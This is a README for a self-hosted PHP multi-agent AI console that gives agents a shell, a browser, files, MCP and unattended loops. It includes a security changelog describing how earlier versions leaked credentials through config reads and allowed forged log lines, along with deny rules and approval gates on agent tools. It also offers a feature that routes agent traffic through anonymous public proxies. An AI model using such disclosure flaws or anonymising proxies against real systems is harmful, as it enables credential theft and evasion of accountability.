Skip to content

About

Universal agent studio, turn any AI into an agent with any API format, Loops, Throttle, Routing Tables, more

Topics

Resources

Stars

1 star

Watchers

1 watching

Forks

Latest commit

ย 

History

102 Commits

Folders and files

NameName
Last commit message
Last commit date
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

Architecture diagram

๐Ÿง  Autonomous Loop Studio

A self-hosted, universal multi-agent AI console. Point it at any model, hand the agents real tools, and watch the loop run.

PHP No build step Mobile friendly Windows macOS Linux Android Ask DeepWiki

Desktop 2026 โ€” the glass shell: edge rail, Config drawers, a wide chat and the live network map

โ˜๏ธ That's Desktop 2026 โ€” the new face of the studio: ๐Ÿ’Ž floating glass cards on an edge rail, ๐Ÿ—‚๏ธ Config that flies out of its own label, ๐Ÿ’ฌ a chat you can drag wider or throw to the full screen, ๐Ÿ•ธ๏ธ the map front and centre with its button group lifted into the header, and ๐Ÿชถ panels that tuck away while you read a node. Pick it in Config โ†’ Interface โ€” no reload, and nothing you had set is lost.

๐Ÿ—‚๏ธ Classic is the default โ€” and it is the picture right below. Setup panel, chat and map/network panel side by side, nothing behind a rail, everything where it has always been.

Classic โ€” the default interface: setup panel, chat and network map side by side

Both are the same app. Same components, same store, same tools: Classic is not a legacy mode, and neither shell is missing a feature โ€” Classic is simply the calmer, flatter way to see all of it at once. Narrow the window under 1025px and either one becomes the same slide-over drawer layout, so the phone experience is identical whichever you choose. ๐Ÿ”

Autonomous Loop Studio (the "Router") is a single-folder PHP app โ€” ๐Ÿšซ no database, ๐Ÿšซ no build step, ๐Ÿšซ no external service. It runs on plain PHP (or Apache via XAMPP), keeps everything in JSON files, and drops a whole team of AI agents into your browser with a filesystem, a shell, the web, memory, a visual routing chart โ€” and MCP in both directions.

๐Ÿ†• What's new

Newest first. ๐Ÿš€ Everything below landed after the feature list further down this page was written โ€” that list is still true, and these are the additions. The most recent release sits at the top.

๐Ÿ†• v360 โ€” the keys stopped leaving, and a close ends the right program ๐Ÿ”

A hardening release: five ways this app could be made to hand over something it was guarding, or to report a success it never had โ€” plus the one command that gets you back in after you lock yourself out. Every measure has its full account in the security section.

๐Ÿ•ต๏ธ Reads answer with masks GET /api/config, GET /api/mcp/servers and GET /api/mcp-server/config were returning the very values they exist to protect โ€” the access token, a proxy password, every provider key, every MCP client's Authorization header, every friend token. Those are what the other gates compare against, so one read disclosed the keys to every other door. They answer ******** now, and the write paths restore the real value, matched by identity (id โ†’ URL โ†’ command line; friend id โ†’ label), because every panel here edits by reading the config, changing one key and posting the lot back. A mask reaching disk would have wiped a credential and shown up only as a server answering 401. ๐Ÿ›ก๏ธ โ†’ ยง20
๐Ÿ  No token โ‡’ this machine only setup-token.sh --off described itself as safe on "a machine nothing else can reach", and nothing enforced it โ€” behind a web server bound to all interfaces, the agent-reachable launcher and the config route above were open to the network. A request from an address that is not loopback now gets 403, with the one-liner that fixes it. The MCP route friends use is exempt on purpose and keeps its own per-friend Bearer token. ๐Ÿšง โ†’ ยง21
๐ŸŽฏ A close ends the program you opened Processes were matched with tasklist /FI "IMAGENAME eq โ€ฆ", so a configured notepad.exe was "the same program" as every other copy of that file on the machine โ€” a close could end something you never opened. They are matched by the file they are running from now (/proc/<pid>/exe on Linux, one Get-CimInstance Win32_Process query on Windows, ps elsewhere), compared as resolved paths and case-folded on Windows. A host that will not give up a process list makes close refuse, because name matching is then the only thing left and that is the bug.
โœ… A kill reports what actually happened terminate() returned ok: true for everything: a kill that never happened, a pid already gone, a refusal whose output was never read โ€” so "closed" could be said about a program still on screen. The command's exit status decides now (taskkill's own message is localised), ok means nothing of it is running any more, and the reply names each surviving pid with its reason (access denied (it runs as another user, or elevated), it had already exited).
๐Ÿงพ The trace cannot be forged Every field of an storage/exec.log line has control characters stripped, so an agent name or an argument carrying a newline can no longer append a record of a command that never ran โ€” or hide one that did. ๐Ÿ” โ†’ ยง22
โฑ๏ธ A command that answers can no longer hang the request stream_select() on a proc_open pipe ignores its own timeout on Windows and waited on the handle: a script that answered in half a second became a request that never answered at all, and proc_close() then waited on it for good measure. The reader is a bounded poll loop that cannot outlive its deadline, and the timeout path no longer calls proc_close() on a process it could not terminate.
๐ŸชŸ One argument, spelled the way Windows reads it An argument ending in a backslash is doubled ("C:\dir\\"), because "โ€ฆ\" is read by the program as an escaped quote โ€” so a configured path used to arrive silently corrupted into a different argument.
๐Ÿ”Ž The way back in works on every machine ./setup-token.sh --show needed python3: the one interpreter this app never needs, and on Windows usually the Microsoft Store's execution alias โ€” a stub that prints English and exits 49. So the command you run because you are locked out printed its heading and no token. It now uses python or php, whichever actually answers, and says which it used; with neither, it points at PHP_BIN=โ€ฆ and at start.bat -Token, which needs no interpreter at all.
๐Ÿงช The guards prove themselves The suite builds the fixtures it used to skip on, prints every SKIP with its reason and totals them, and never repeats a count it cannot trust. php tests/freshClone.php runs both suites in a fresh copy of the tree โ€” 14 files, 14 passed, 0 failed, 840 assertions, 5 skipped, identical on a clone and on the machine the tests were written on โ€” and the pre-commit hook can run that same check with --index, so what is verified is exactly what the commit will contain.
โšก Fourteen test files at once The PHP suite ran its files one after another: 39.4s, of which two files were 26s while twelve others sat runnable behind them. They run four at a time now and the half costs what its slowest file costs โ€” 15.5โ€“15.8s, and the whole fresh-copy check 41.0s โ†’ 16.8โ€“17.5s โ€” with the same 840 assertions, 5 skipped. That is only safe because the two shared things were taken away first: each file's server binds a port walked from its own process id (asking the OS for "any free port" hands the same number to two files that ask together, leaving one of them talking to the other's server), and each file writes its logs to a directory of its own โ€” so the suite no longer writes, or truncates, the install's storage/exec.log audit trail. ๐Ÿ” โ†’ ยง23

๐Ÿ–ฅ๏ธ v359 โ€” agents can open real desktop programs

A capability that already existed and was unusable: exec waits for the process, kills it at the timeout and holds the whole turn open while it runs โ€” so "open Notepad" produced a window that closed itself a minute later, inside a stalled chat.

๐Ÿ–ฅ๏ธ A name, never a command line Config โ†’ Shell access โ†’ Programs: you list programs โ€” a name, a path, optional arguments โ€” and an agent may only name one. It never supplies a path or a command line, so the only text a model controls is a name you already wrote. That is what makes this safe to hand a model where a raw cmd /c would not be.
๐ŸชŸ The window outlives the reply The launch is detached (cmd /c start with the empty title token on Windows โ€” the mechanism the built-in browser already opens Chrome/Edge with โ€” a backgrounded process on POSIX), so no timeout closes it behind you, and it is audited as kind=program phase=start with no end line: exactly the "started and still running" record the two-phase log was built for.
๐Ÿ™‹ Asked for like everything else Ask / Allow / Deny for Opening programs and Closing programs, with Auto Approve and Auto Deny above them. Closing is graceful first (taskkill /PID posts WM_CLOSE; POSIX sends TERM) so an editor can still ask about unsaved work; force ends it outright.
๐Ÿšซ Not a door to the command shell Anything that is not .exe/.com on Windows is refused as a launch target, because starting a .bat, .cmd or .ps1 means handing back the script host this whole design keeps away from a model. That refusal is by extension and deliberately not overridable from the list; exec_interpreters is the door for script files, where the script is jailed and inline code is still refused.
๐Ÿšช Off by default sandbox.programs_enabled with an empty list: an install that updates gains the tools and no capability at all until you add a program.

๐Ÿ“ฆ Earlier in this line โ€” still in the box

๐ŸŒ Proxy, in the nav Hundreds of live HTTP proxies โ€” ELITE and ANONYMOUS only โ€” with ping and uptime on every row, favourites, and one USE that routes all of an agent's outbound traffic (models, web tools, the shell) through it.
๐Ÿ—ฃ๏ธ Conversations, in words Agent-to-agent messages keep their text: a Comms tab beside the run trace, a per-agent Talk / Runs drawer opened from the map, and a beam you can hover to read โ€œA โ†’ B: โ€ฆโ€.
๐Ÿงพ An audit trail that holds up Two lines per command โ€” phase=start before the spawn, phase=end after โ€” sharing a run= id and naming the agent that asked. A run that never finished now shows as a start with no end, and run_code is audited too.
๐Ÿ”„ Updates that explain themselves A load-time check against the published VERSION and cache-buster, a bell that names the release from its changelog, a What's new row you can expand, and a download that verifies and diffs before anything is written.
โฌ‡๏ธ Updates that install themselves The check offers back up then update, update without a backup, or cancel โ€” and either of the first two runs the whole chain: download, verify, install, reload. A rollback copy of the code lands in storage/backups/ first, settings are never in scope, and install-update.php undoes it from a terminal when a button cannot.
๐Ÿ–ฅ๏ธ Classic & Desktop 2026 Two shells, one switch, Classic the default; narrow the window and either becomes the same mobile layout.
๐ŸŽ›๏ธ Config โ†’ Desktop The machine-room card: map detail, fog, bloom, floating floor + floor pin, auto-rotate, glass blur, chat background and frame cap โ€” each individually adjustable, with a preset that only ever turns visuals down.
๐Ÿงฐ A sandbox per agent Add as many jail roots as you like in Brain Lab and hand a different one to each agent; the global default stays exactly where it was.
๐Ÿ”’ Allow / Deny, with an undo The argv bouncer gained a restore-defaults button, a visible per-agent override path, and the cmd / powershell interpreter gap is closed โ€” by list, never by hard-coding a refusal.
๐Ÿงช One command per suite node tests/run.mjs and php tests/php/run.php run everything, including the guards that prove /storage and /tests are refused at any depth.

๐Ÿงญ Contents

Jump straight to a section โ€” every heading on this page is also clickable.

๐Ÿš€ Start here

๐Ÿง  Using the studio

๐Ÿ” Security & guardrails

๐Ÿ” overview ยท ๐Ÿ”‘ token ยท ๐Ÿšฆ approvals ยท ๐Ÿงพ allow/deny ยท ๐Ÿงฑ the jail ยท ๐Ÿš no shell ยท ๐Ÿงฌ atomic edits ยท ๐Ÿ™ git ยท ๐ŸŒ SSRF ยท ๐Ÿ•ต๏ธ secrets ยท ๐Ÿ–ผ๏ธ vision ยท ๐ŸŒ browser gate ยท ๐Ÿค MCP server ยท ๐Ÿงท injection ยท ๐Ÿšซ defaults ยท ๐Ÿงฏ fails closed ยท ๐Ÿ—„๏ธ storage ยท ๐Ÿงช guard tests ยท ๐ŸŒ no CORS ยท ๐Ÿ–ฅ๏ธ programs ยท ๐Ÿ” masked reads ยท ๐Ÿ  local-only ยท ๐Ÿงพ trace integrity ยท ๐Ÿงช suite isolation

๐Ÿ”Œ Integrations ยท ๐Ÿ“ฑ Platform ยท ๐Ÿ“š Reference


โœจ What's inside

๐Ÿค– Any model, any provider OpenAI, OpenRouter, NVIDIA NIM, Anthropic, Google, Groq, DeepSeek, xAI, Mistral, Cerebras, Together, Perplexity, Ollama, LM Studio, vLLMโ€ฆ
๐Ÿงญ Auto-fitting harness Detects each provider's API shape and tool dialect, and speaks it correctly
๐Ÿง  Brain Lab Every per-agent setting, locks, memory, files and custom tools in one rail
๐Ÿงช API Lab Paste a curl โ†’ get it in 10 languages โ†’ actually send it server-side
๐Ÿ”€ Routing chart Draw workflows: agents, loops, checkpoints, delays, parallel fan-out
๐Ÿ› ๏ธ Real tools Files, shell, web, a code interpreter, git, editors, MCP
โฑ๏ธ Pacer / limiter Per-key rate limiting that knows each provider's free-tier ceiling
๐Ÿ“Š Metrics + ๐Ÿ”Ž trace Uptime, requests, tokens, budgets, and a live run timeline
๐Ÿง  Memory Private + collective long-term memory the agents actually use
๐Ÿ” Locked down Access token, approvals, allow/deny lists, jailed filesystem
๐Ÿ”Œ MCP client + server Connect to other MCP servers, or let a friend connect to you
๐ŸŽจ Themes Dark, Matrix, Cyberpunk
๐Ÿ–ผ๏ธ Vision Attach images for vision-capable agents โ€” the bytes never hit the server
๐ŸŽ™๏ธ Voice ๐ŸŽค speech-to-text in, ๐Ÿ”Š spoken replies out, with per-agent pitch
โŒจ๏ธ Slash commands /CODE, /ROLE, /NAME, /ALL, /? โ€” address agents from the composer
๐Ÿ’พ Export / import Take a session out, or back up and restore the whole state
๐Ÿง  Dynamic tools Teaches each model the environment it's really in โ€” and learns the tool dialect that works
๐Ÿ”‘ API pool Rotate a provider's extra keys after N requests; rest them on a 429
๐ŸŒ Built-in browser A real Chrome/Edge you and the agents drive โ€” watch, click, type, log in
โ™พ๏ธ Always-On loop Standing goals, auto re-prompted on a cadence โ€” caps, hold/release, one master kill switch
โ Global pre-prompt One instruction for every agent โ€” prepend (default) or replace, toggled live
๐Ÿง  Context assembler History & tool output budgeted to each model's real window, with live compaction
๐Ÿงญ Apps notch One thumb-tab to the Labs, the routing chart and the built-in browser
๐Ÿงฎ Resource Manager Optional pause / idle throttles + CPU/GPU gauges so the 3D graph can rest
๐Ÿ•ธ๏ธ MCP on the graph Outgoing calls and incoming friends drawn as live nodes with editable access
๐Ÿ–ฅ๏ธ Two interfaces Classic (default) and Desktop 2026 โ€” one switch, same features, same store
๐ŸŽ›๏ธ Desktop card Fog ยท bloom ยท floating floor ยท floor pin ยท map detail ยท frame cap ยท glass โ€” tuned defaults, every knob exposed
๐ŸŒ Proxy Hundreds of live HTTP proxies โ€” elite and anonymous only โ€” with ping, uptime and favourites; one click routes every agent's outbound traffic through it
๐Ÿ”„ Self-updates, one click A load-time check that names what shipped, a verified download that shows the diff, and an installer that keeps a rollback copy first โ€” your settings are never in scope
๐Ÿ–ฅ๏ธ Agent-opened programs An agent may name a program on your list and it opens detached, so the window outlives the reply โ€” closed gracefully, always by the binary and never by name, and audited as started
๐Ÿ•ต๏ธ Masked reads The config routes answer ******** instead of your access token, keys and friend tokens โ€” and the write path restores the real value
๐Ÿ  Local-only mode Until a token is set, only requests from this machine are answered โ€” anything else gets 403
๐Ÿ“ฑ Mobile-first Built for the phone in your pocket

๐Ÿ–ฅ๏ธ Two interfaces, one switch

Both shells are the same application: one store, one set of components, one feature list. settings.interfaceMode decides which decoration is worn, and it applies the moment you pick it in Config โ†’ Interface โ€” no reload, no second install, and no feature that exists in only one of them.

๐Ÿ—‚๏ธ Classic (the default) ๐Ÿ’Ž Desktop 2026
Layout setup ยท chat ยท map, side by side floating glass cards on an edge rail, map front-centre
Config collapsible sections in the left panel drawers that fly out of their label โ€” and retract back into it as one motion
Chat standard width 440px by default, drag the edge to widen, or throw it to the full screen
Panels always where they are optional tuck-away while a node's card is open
Glass flat โ€” no blur, no glow, no drift frosted cards, border glow, ambient motion: every one adjustable, every one switchable off
Map controls inside the map panel lifted into the header, centred over the apps notch
Below 1025px slide-over drawers the same slide-over drawers
                            DESKTOP 2026 โ€” where things live
+-------------+---------------------------------------+-------------+
|   RAIL      |                  CHAT                 |     MAP     |
|             |                                       |             |
| sessions    | drag the edge to widen, or            | nodes,      |
| agents      | throw it to the full screen.          | beams,      |
| providers   | 440px by default.                     | fog, floor  |
| config ---> |                                       |             |
| mcp         |                                       | 3D / 2D     |
+-------------+---------------------------------------+-------------+
      ^ Config flies out of its label, then retracts back into it

  CLASSIC is the same app with all three panels always open:
  +--------------+-------------+---------------+
  |    SETUP     |    CHAT     |      MAP      |
  +--------------+-------------+---------------+

Two rules kept that honest:

  • ๐Ÿงฉ The choice is the only switch. Nothing else forks. ui/js/desktop2026.js decorates the DOM the existing components already render โ€” it owns no state and no feature โ€” so a bug in the shell can never take one with it.
  • ๐Ÿ“ฑ Narrow windows are untouched. Under 1025px both shells resolve to the same slide-over drawer layout, which is why the phone view looks and behaves exactly as it always did.

๐ŸŽ›๏ธ Config โ†’ Desktop โ€” the machine-room card

Config โ†’ Desktop: performance mode, glass and topography controls

The card is in both shells on purpose. Most of it is the map โ€” fog, bloom, floor, frame rate, detail โ€” so Classic gets it too. The rows that address the glass (chat background, blur, glow, ambient motion, the floating floor) stay visible in Classic with their saved values but are disabled there, because there is no glass to tune. Nothing is hidden and nothing is lost. ๐Ÿงท

๐Ÿงฎ What each knob buys

Knob Fresh default Relative GPU cost What it does
๐ŸŒซ๏ธ Glass blur 1px โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ the big one backdrop-filter behind every card โ€” a live canvas re-composited each frame
๐ŸŽš๏ธ Map detail 100% โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ internal resolution: 100 / 85 / 70 / 55 / 42% of the pixel-ratio cap
โœจ Bloom glow on โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ multi-pass blur halos on nodes and beams
๐ŸŸ  Floating floor on โ–ˆโ–ˆโ–ˆโ–ˆ the big screen-blended polar grid layer over the canvas
๐ŸŽž๏ธ Frames per second 60 โ–ˆโ–ˆโ–ˆ hard cap on redraws (1โ€“60)
๐ŸŸฃ Glow & border animation 100% โ–ˆโ–ˆ the colour running around card borders
๐ŸŒ€ Ambient motion 100% โ–ˆโ–ˆ background sweep, floor scan, the slow breathing
๐Ÿ”„ Slow auto-rotate on โ–ˆ idle camera drift, 12s after you stop touching the map
๐Ÿ’ฌ Chat background 4% โ–‘ free how much of the map shows through the chat
๐Ÿ“Œ Fix the floor in place on โ–‘ free keeps the fallback grid still in the window
๐Ÿชถ Tuck panels away on โ–‘ free slides the rail and the chat aside while a node card is open
๐Ÿข Performance mode off โ€” one click: the cheap column, still editable

Every row is a normal setting with its own control โ€” the defaults above are defaults, not law. ๐ŸŽ›๏ธ

โšก Performance mode is a preset, not another mode

One switch writes the same nine settings the controls above already own โ€” blur 0, glow 0, motion 0, fog off, 30fps, 70% detail, bloom off, floating floor off, auto-rotate off โ€” plus Resource Manager's pause-when-covered and idle throttle.

  • ๐Ÿงท It only ever tightens โ€” already at 24fps? it keeps 24, not 30.
  • โ†ฉ๏ธ Switching it off gives your numbers back โ€” it restores the values it actually wrote, and a knob you moved by hand in the meantime keeps your value instead of being silently reverted.
  • ๐Ÿ” Every row stays visible, so you can see exactly what it did and undo one part of it without undoing the rest.
  • ๐Ÿšซ Nothing is removed, hidden or disabled by the preset โ€” which is the whole point of it being a preset.

๐Ÿ—บ๏ธ The topography, in detail

  • ๐ŸŒซ๏ธ Background fog โ€” a haze that begins past the polar grid, under the graph, and reaches the top of the panel. Since v336 it is drawn as the scene background in screen space, not as fog in the world: it cannot orbit, slide or zoom with the map, and it always fills the window. The checkbox turns it on and off; the scene still knows a third, older "full fog" mode internally (topoFog: 0), which the card deliberately does not offer.
  • โœจ Bloom โ€” the glow on every node and beam comes from one post-process pass, not from per-object tricks. Off keeps every emissive colour and drops the multi-pass blur.
  • ๐ŸŸ  Floating floor โ€” the fixed polar grid belongs to the glass shell, so Classic always uses the cheap grid that lives inside the scene. In Desktop 2026 the DOM floor layer is the expensive one: a 150vmax screen-blended element over the canvas.
  • ๐Ÿ“Œ Fix the floor in place โ€” the in-scene grid is part of the world, so orbiting carried it around and a low angle squashed it into a line. This holds it at the same spot in the window while orbiting, dragging and zooming all keep working. It only means something while the floating floor is off, so the row is disabled (not hidden, and keeping its value) whenever the floating floor is showing.
  • ๐ŸŽš๏ธ Map detail โ€” five explicit steps. This is the one that used to degrade itself: the map silently stepped its own resolution down whenever a frame ran long, which on a slower machine read as three or four visible โ€œflashesโ€ of the lines getting fuzzier a few seconds after load. It is manual now and stays exactly where you put it โ€” and each step also holds the composer (bloomโ€™s mip chain included) at that resolution, so the saving is real instead of a smaller final blit.
  • ๐ŸŽž๏ธ Frames per second โ€” a hard cap, 1 to 60, independent of everything else.
  • ๐Ÿ”„ Slow auto-rotate โ€” the drift resumes 12s after you stop. Off parks the view until you orbit it yourself, which is also what lets the scene โ€” and everything composited over it โ€” go genuinely idle.

๐Ÿ’ก On a low-powered machine: glass blur to 0 (0 removes the backdrop layer entirely โ€” blur(0px) would still cost one), bloom and the floating floor off, detail 70%, cap 30fps โ€” or just click Performance mode and adjust from there. Every one of those is reversible. ๐Ÿ”

๐ŸŽš๏ธ Defaults on a fresh install

Section Defaults
๐Ÿ–ฅ๏ธ Desktop tuck panels away on ยท chat background 4% ยท glass blur 1px ยท glow 100% ยท ambient motion 100% ยท background fog on ยท bloom on ยท floating floor on ยท floor pinned ยท auto-rotate on ยท map detail 100% ยท 60fps ยท performance mode off
๐Ÿงช Labs dynamic tools on ยท dialect memo on ยท API pool on ยท Keep Live when hidden on ยท built-in Browser off
๐Ÿงฎ Resource Manager all four switches off

Saved settings always win: a fresh copy starts here, and an existing install keeps whatever you already chose until you move that control. ๐Ÿ’พ


๐Ÿš€ Quick start

๐ŸชŸ Windows โ€” one click

  • start.bat โ€” the one-click launcher. First run installs XAMPP (Apache + PHP only, no MySQL), links this folder into htdocs\router, configures Apache, creates the access token, starts it and opens the app. Later runs just start Apache. Use this when several agents run at once: Apache is multi-threaded.
  • start-php.bat โ€” legacy built-in server (single-threaded). Fine for one agent at a time, or on machines where Apache cannot run.
  • setup-xampp.bat โ€” repair / advanced installer, used by start.bat automatically. Run it directly to reinstall XAMPP or pick another port (setup-xampp.bat -Port 8090).

๐ŸงตAutonomous' implementation of Apache / PHP is not single-threaded โ€” and that is exactly the point. Apache serves many requests at once (a pool of worker processes and threads), so a whole team of agents really does run in parallel. Autonomous ships the workaround!: with one click installs XAMPP (Apache + PHP only), points it at a free port, loads the mod_* modules the app's .htaccess needs, links the folder and starts a genuinely concurrent server โ€” zero configuration, no database, nothing to hand-tune. That is the mold this project breaks: a multithreaded local server, deployed in one click. (start-php.bat remains for the rare machine where Apache cannot run; it is the slow single-threaded fallback.)

  • *PHP's own built-in server is the opposite: php -S is a single process, so one streamed model reply holds the only slot for its entire duration while every other agent โ€” and the browser's own state polling โ€” queues behind it until the fetch dies with NetworkError. Windows PHP cannot fork, and the usual local Windows PHP setups either accept that limit or expect you to install and hand-edit Apache/FPM yourself. * *

๐Ÿง Linux / macOS

./start.sh          # or ./start.sh 8090 for another port

๐ŸŒ Deploying on a real web host (Apache / nginx / IIS)

The one-folder design means storage/ (the token, provider keys, every session and the exec allow/deny lists) lives inside the app folder. That folder must never be reachable over HTTP. Everything here is about keeping it that way. ๐Ÿ”’

The same rules also cover tests/: dev tooling that never runs at runtime, but that nobody else needs to read either. The full grid โ€” every path against every serving mode, dotfiles and case variants included โ€” is in Security & guardrails โ†’ ยง16, and the rules are tested by making the real request (ยง17). ๐Ÿงช

  • ๐ŸŸก Apache โ€” storage/.htaccess and tests/.htaccess ship with the app and deny their whole folder (Require all denied, with a 2.2 fallback). ./setup-token.sh re-creates the storage one if a deploy lost it. Just make sure AllowOverride lets .htaccess apply (the XAMPP installer sets this for you). The app root .htaccess also refuses storage, logs, tmp, sessions and tests as a path segment at any depth โ€” a backup or archived copy of the app kept inside the web root brings its own storage/ and tests/, and a copy made before tests/.htaccess existed would otherwise serve its test files in full. That guard is RedirectMatch 403 (mod_alias), not a RewriteRule: a child .htaccess replaces its parent's per-directory rewrites, so a rewrite never sees the nested path, while mod_alias config merges normally.
  • ๐Ÿ”ด nginx โ€” ignores .htaccess entirely, so you must add the rules yourself. Ship the included nginx.example.conf into your server{} block (it denies storage, logs, tmp, sessions and tests as a path segment at any depth โ€” so a backup or an archived copy of the app kept inside the web root cannot expose its own config.json โ€” plus dotfiles and loose .json/.log/.ini/.bak/.key/.pem files), then nginx -t && systemctl reload nginx. A file whose name merely contains one of those words (ui/js/storage.js, ui/js/tests.js) is still served.
  • ๐Ÿ”ต IIS โ€” add a web.config at the app root that blocks the storage and tests segments, e.g.:
    <configuration><system.webServer><security><requestFiltering>
      <hiddenSegments>
        <add segment="storage" /><add segment="logs" /><add segment="tmp" />
        <add segment="sessions" /><add segment="tests" />
      </hiddenSegments>
    </requestFiltering></security></system.webServer></configuration>
  • ๐Ÿงช The PHP built-in server (start-php.bat / php serve.php) already refuses /storage, /logs, /tmp, /sessions, /tests and dotfiles with a 403 โ€” no config needed.
  • โœ… Verify it, don't assume it. After any deploy, fetch https://your-host/router/storage/config.json and https://your-host/router/tests/js/run.mjs in a private window. You must get 403 / 404 for both โ€” never JSON or source. If you do, stop and fix the rule above before doing anything else. ๐Ÿšจ

๐Ÿ”‘ First run

The launchers install PHP + the extensions it needs (curl, openssl, mbstring, fileinfo, zip) without touching your own php.ini, bundle CA certs so HTTPS verifies, and print an access token once. Paste it into Config โ†’ Access token in the app โ€” it saves on paste (there's no SAVE for that field, on purpose).

On Windows the app opens at http://localhost:8080/router/ (Apache); on Linux/macOS it opens at http://127.0.0.1:8080/. If you miss the token, run start.bat -Token to print it again. Nothing ships with keys โ€” add your own providers in the Providers tab.


๐Ÿง  Brain Lab

Brain Lab

One rail for everything about the selected agent:

  • Identity โ€” name, label, role, provider, model, colour, active.
  • Prompts & Profiles โ€” the agent's system prompt, an always-append box, and reusable direction profiles you can attach and lock. (A fleet-wide override lives in the Agents-tab header โ€” see Global pre-prompt override.)
  • Direction profiles โ€” reusable, lockable instructions you can attach and append to any agent, so a house style is defined once and shared.
  • Rate / Throttle โ€” per-agent pacing.
  • Approvals & Tools โ€” per-tool allow / ask / deny, plus a tool protocol picker that shows the auto-detected dialect.
  • Custom tools โ€” define your own, straight from the rail.
  • Sandbox โ€” a per-agent file jail and the file manager.
  • Memory โ€” private and collective notes, a Long-term-memory switch, and delete buttons (forgetting is a first-class action).
  • Always-On โ€” a standing goal, loop cadence, and a live RUNNING/HELD/IDLE badge. (Full walk-through in Always-On โ€” the loop that runs itself below.)

Every setting has a ๐Ÿ”’ lock: unlocked agents follow the global value live; a lock pins the agent to its own value so a global change never moves it. ๐Ÿ”

๐Ÿ—‚๏ธ Config, tidied. The Config tab is split into collapsible sections โ€” Interface ยท Limits & Budgets ยท Permissions ยท Labs ยท Resource Manager ยท Throttle / Limiter ยท MCP Client ยท MCP Server, with Desktop appended as its own card (see Config โ†’ Desktop above) โ€” each carrying a live status badge on its header. It also rescues numbers you typed but haven't Saved yet, so switching tabs mid-edit never silently discards them.

๐Ÿ–ฅ๏ธ Two interfaces, one switch. Interface (the first control in Config) picks the shell โ€” Classic by default, Desktop 2026 on request. Both are the same app, the same features and the same store; the full comparison and the screenshots live in Two interfaces, one switch above. ๐Ÿ”


๐Ÿงช API Lab

API Lab

Opened from the ๐Ÿงช icon in the Agents-tab header.

  • Both directions: curl โ†’ request โ†’ 10 languages, and language โ†’ request โ†’ curl/bash/Python/TypeScript/OpenAI-SDK.
  • Sending is server-side, because the browser can't reach most providers (no CORS headers). The server runs the request and returns the status + body.
  • Guardrails: http/https only; cloud-metadata addresses refused; key-shaped headers masked on screen (copy/send still use the real value); response bodies truncated.

๐Ÿ”€ Routing chart

Draw the flow instead of describing it.

Nodes โ€” agent, parallel, merge, checkpoint, delay, loop, end.

Routing chart โ€” three workflows with loops and fan-out

Loops carry per-lap state, and parallel fan-out runs every ready node concurrently โ€” the scheduler handles it.

A loop feeding a parallel group

Checkpoints pause the run for review before it continues downstream.

A checkpoint waiting for review

Delays wait a duration or until a wall-clock time, and hold only their own branch.

Live run state shows on the edges (marching + glow while running, settle when done), with a faint ghost transcript of the chat behind the canvas and an align-to-grid snap (off by default). A notification bell lists run errors/warnings.


๐Ÿ–ผ๏ธ Images & vision

Drop an image into the composer and a vision-capable agent can see it. ๐Ÿ‘๏ธ๐Ÿ–ผ๏ธ

  • ๐Ÿ“Ž Paste, drop or pick โ€” the bytes never touch the server. They become an in-memory data: URL and ride in the request's image_url field: ๐Ÿšซ no upload endpoint, ๐Ÿšซ no file on disk.
  • ๐Ÿ›ก๏ธ Safe by construction โ€” only ๐Ÿ–ผ๏ธ PNG / ๐Ÿ“ท JPEG / ๐ŸŽž๏ธ WebP / ๐ŸŽฌ GIF are accepted, all inert when sniffed, which keeps the polyglot "image that is also a script" family out.
  • ๐Ÿค– Per-agent โ€” only models that actually support vision get the attachment; everyone else is unaffected.

๐ŸŽ™๏ธ Voice & audio

Talk to the team, and let them talk back. ๐Ÿ—ฃ๏ธ๐Ÿ”Š

  • ๐ŸŽค Speech to text โ€” the mic button turns your voice into a message in the composer.
  • ๐Ÿ”Š Speak replies โ€” a speaker button reads any reply aloud; flip Speak every reply automatically to hear them all.
  • ๐Ÿงฐ Two engines โ€” use your provider's TTS, or the browser's ๐Ÿ  built-in voices (works offline, no API, no key). Pick the engine, provider and voice.
  • โฉ Speed and ๐ŸŽš๏ธ pitch โ€” tune playback; pitch reads higher as female, lower as male. ๐Ÿค– Each agent can override the pitch, so a whole roster can sound distinct.

โŒจ๏ธ Slash commands

Type / in the composer for a palette of everything you can address. โŒจ๏ธโœจ

  • ๐ŸŽฏ Target an agent โ€” /CODE, /ROLE, /NAME or /ALL sends your next message to one agent, a role, or the whole team.
  • ๐Ÿงญ App commands โ€” the palette also lists the app's own commands, and never suggests one that wouldn't work here.
  • โ“ /? โ€” a quick reference, right in the input box.

โ™พ๏ธ Always-On โ€” the loop that runs itself

Give an agent a standing goal and this app re-invokes it on a timer, one turn at a time, until it finishes or you stop it. It is the difference between "ask the model a thing" and "hand the model a job and walk away." ๐Ÿšถโ™‚๏ธ๐Ÿ’จ

  • ๐ŸŽฏ A standing goal per agent โ€” set it in the agent editor (or Brain Lab). Every tick, the agent is re-prompted with its goal, the iteration number, and a plain instruction to make concrete progress now using its tools.
  • โฑ๏ธ A cadence you own โ€” the interval lives in Config โ†’ Limits & Budgets (default generous, because every iteration is billed). ๐Ÿ’ธ
  • ๐Ÿงญ An honest badge โ€” each agent card shows RUNNING while it works, HELD when it's parked, and idle otherwise, so a glance tells you the truth.
  • ๐Ÿ›‘ Stop one, release one โ€” click an agent's ALWAYS ON badge to stop that run without switching the agent off. It becomes HELD; click again to release it and resume next tick.
  • ๐Ÿงฐ Release everyone in one click โ€” Config โ†’ Permissions โ†’ Always-On shows how many agents are held and a RELEASE HELD AGENTS button, so a roster parked by a cap (or by hand) is never a trap you have to click through one agent at a time.
  • ๐Ÿงจ Two spend caps, both off by default โ€” Max iterations and Max minutes. When a cap trips the agent is parked and held (that's the point of a spend guard) and the status line tells you when a cadence is long enough that the cap would fire after a single tick โ€” so you can set it to 0 and loop forever if that's what you want.
